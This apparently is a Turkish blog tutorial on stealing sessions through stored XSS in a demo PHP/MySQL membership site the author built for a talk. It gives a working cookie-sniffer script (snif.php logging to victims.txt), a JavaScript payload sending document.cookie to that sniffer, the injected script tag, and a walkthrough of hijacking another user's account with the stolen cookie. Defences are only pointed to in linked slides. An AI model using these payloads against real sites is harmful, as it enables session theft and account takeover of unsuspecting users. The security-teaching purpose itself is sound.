XSS Zafiyeti İle Oturum Çalma

XSS Zafiyeti İle Oturum Çalma

image_pdfimage_print

Merhabalar, bu yazıda internette pek kaynağı bulunmayan bir konuya değineceğim. Xss‘in aslında alert’ten ibaret olmadığını ve sebep olabileceği ciddi saldırı senaryolarından ufak birtanesini anlatacağım.

Bu konuyu birkaç yerde tool üzerinden anlatmışlar. Bizimde toollar karşısındaki tavrımız belli; “tool’un kullanımı öğretmeyin mantığını öğretin. tool’un kullanımı zaten manuel’den öğrenilebiliyor.” (kısacası RTFM manifestosu). O yüzden bu yazıda mantık anlaşılsın diye mantık üzerinde duracağız ve giriş niteliğinde bir uygulama yapacaz. Bu uygulamayı geliştirmek size kalmış…

Şimdi; senaryomuz şöyle. Üyelik sistemi olan basit bir sistemimiz var. Bir kişi üye olabiliyor, giriş yapabiliyor ve diğer üyeleri görebiliyor. Bir nevi küçük çapta bir sosyal proje. Sistemi yazan yazılımcı; gerekli önlemleri almadığından saldırgan istediği herhangi bir zararlı payload’ı veritabanına kaydedebiliyor. Örneğin isim olarak “omer” yerine “<b>omer</b>” yazarsa üyelerin listelendiği sayfada tüm üyeler normal şekilde yazılırken bu arkadan kalın şekilde ekrana yazılmış olacak. Bizde buradan anlamış olacağız ki inputlar’a herhangi bir xss filtresi konulmamış ve ne gönderirsek  alıyor. Bundan sonra kalın harfler ile ismimizi yazmak yerine zararlı JavaScript kodu ile diğer kullanıcıların oturumlarını çalacağız.

Aşağıdaki resimde gördüğünüz üzere öncelikle veritabanımıza default olarak omercitak ve mustafayilmaz adında 2 kullanıcı ekledim. Bu hesapların parolaları 123456. Zaten password kolonundan 123456’nın md5 hashini görebilirsiniz.

Screenshot_1
Resim 1

Sistem üzerinden omercitak olarak giriş yapıp kullanıcıları listeleme sayfasının ekran görüntüsü ise aşağıdaki gibi.

Screenshot_2
Resim 2
Screenshot_3
Resim 3

Şimdi ise yeni bir kullanıcı kaydı yaparken 3. paragrafta bahsettiğimiz gibi ismini HTML “b” taglerinin arasına alalım bakalım kullanıcılar sayfasındaki ekran görüntüsü nasıl bir hal alacak.

Screenshot_4
Resim 4
Screenshot_5
Resim 5
Screenshot_6
Resim 6

Yukarıdaki resimlerde gördünüz üzere son eklediğimiz kayıt önceki kayıtların yanında kalın bir şekilde yazılmış. Buradan anlıyoruz ki yazılımcı inputlara gerekli filtreleri uygulamamış. Bunun sağlamasını yine yukarıda MySQL kayıtlarında görebilirsiniz. Sistem girdiyi doğrudan MySQL’e kaydetmiş.

Buraya kadar sistemimize zararlı kod geçirip geçiremeyeceğimizin sağlamasını yaptık ve geçirebileceğimizi anladık. Şimdi ise gelelim diğer kullanıcıların oturumlarını çalmaya. Öncelikle bu işlemler için 3 dosyaya ihtiyacım olarak

  1. victims.txt; Oturumlarını çaldığımız kullanıcıların oturumlarını kaydedeceğimiz dosya.
  2. snif.php; Dinler vaziyette beklerken kendine gelen oturumları victims.txt’ye kaydededen PHP scripti.
  3. bad.js; snif.php dosyasın victims.txt’ye kaydedeceği oturumları sistemden çalıp; snif.php’ye gönderen JacaScript scriptin olduğu dosya.

Snif.php

[php]
<?php
if(isset($_GET["cookie"])){
    $file = fopen('victims.txt', 'a');
    fwrite($file, $_GET["cookie"]."\n");
    fclose($file);
}
[/php]

Kaynak : https://github.com/Om3rCitak/ab16WebUygulamaGuvenligi/blob/master/hack/snif.php

snif.php’nin içeriği yukarıdaki 5 satır koddan oluşuyor. Yaptığı tek işlem eğer GET metodu ile “cookie” adında bir değer gelirse bu değeri al victims.txt’ye kaydet.

bad.js

[js]
var xmlHttp = new XMLHttpRequest();
 xmlHttp.open("GET", 'http://127.0.0.1/demo_xss_sql/hack/snif.php?cookie='+document.cookie);
 xmlHttp.send(null);
[/js]

Kaynak : https://github.com/Om3rCitak/ab16WebUygulamaGuvenligi/blob/master/hack/bad.js

baf.js ise yukarıdaki 3 satır koddan oluşmakta. Bu 3 satırlık JavaScript kodu; bu kodu çalıştıran kişinin bilgisayarındaki oturum bilgilerini (cookie) “document.cookie” ile alıp; JavaScriptin “xmlHttp” class’ını kullanarak 2. satırda yazdığımız snif.php mizin olduğu adrese gönderiyor. snif.php ise kendine gelen cookie’yi victims.txt‘ye kaydediyor.

Buraya kadar tamam; saldırıyı nasıl yapacağımızıda anlattık. Hadi saldıralım.

Saldırmadan önce dipnot geçeyim; birazdan yapacağım işlemlerde saldırgan olarak 2 hesap açacağım. 1. hesap “heykir” adında sadece sisteme giriş yapabilmek için kullanacağım hesap; 2. hesap ise zararlı kodumu gömeceğim hesap. “heykir” hesabını hem Firefox‘ta açacağım. Chrome‘dan ise sanki bir kurbanmışım gibi sistemdeki herhangi bir hesaptan girip yapıp; giriş yaptığım hesabının cookie’sinin nasıl saldırganın eline geçtiğini ve saldırganın bu cookie’yi alıp nasıl kullanacağını göstereceğim.

Öncekile aşağıdaki görseldeki gibi önce “heykir” hesabını sonrasında zararlı kodumun olduğu hesabı oluşturayım.

Screenshot_7
Resim 7
Screenshot_8
Resim 8
Screenshot_9
Resim 9

Yukarıdaki kullandığımız zararlı kod aslında çoğunuzun aşina olduğu masum bir JavaScript dosyası çağırma tag’i.

[html]
<script src="http://127.0.0.1/demo_xss_sql/hack/bad.js"></script>
[/html]

Şimdi ise Chrome üzerinden herhangi bir kullanıcı (mustafayilmaz) adına giriş yapıyorum ve üyeler sayfasını görüntülüyorum. Ardından mustafayilmaz‘in oturum bilgilerinin nasılda uçtuğunu hep beraber izliyoruz.

Screenshot_10
Resim 10
Screenshot_11
Resim 11
Screenshot_12
Resim 12

Vee bum! Şimdi ise saldırgan olarak mustafayilmaz‘dan çaldığımız oturum bilgilerini Firefox’unCookie Menager” eklentisi ile kendi cookie’miz yerin yapıştıralım ve sonucu görelim.

Screenshot_13
Resim 13
Screenshot_14
Resim 14

Yukarıdaki resimlerde gördüğünüz üzere çaldığımız cookie’yi kendi cookie’mizin yerine yazıp kaydettim ve sayfayı yeniledim. Sonuç ortada; mustafayilmaz adına giriş yapmışız gibi gözüküyor 🙂

Bu yazıyı XSS’in sadece alert’ten ibaret olmadığını göstermek için yazdım. Umarım faydalı olmuştu.

Merak edenler için Akademik Bilişim’de yaptığım sunumun 15, 16, 17, 18 ve 19. sayfalarında XSS’ten nasıl korunabileceğinize biraz değinmiştim. Sunumunun ve yukarıdaki sistemin linkerlini aşağıda veriyorum.
Sunum : http://www.slideshare.net/Om3rCitak/web-uygulama-gvenlii-akademik-biliim-2016-57851287
Kullanılan Sistem ve Kodları : https://github.com/Om3rCitak/ab16WebUygulamaGuvenligi

Leave a Reply

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Time limit is exhausted. Please reload CAPTCHA.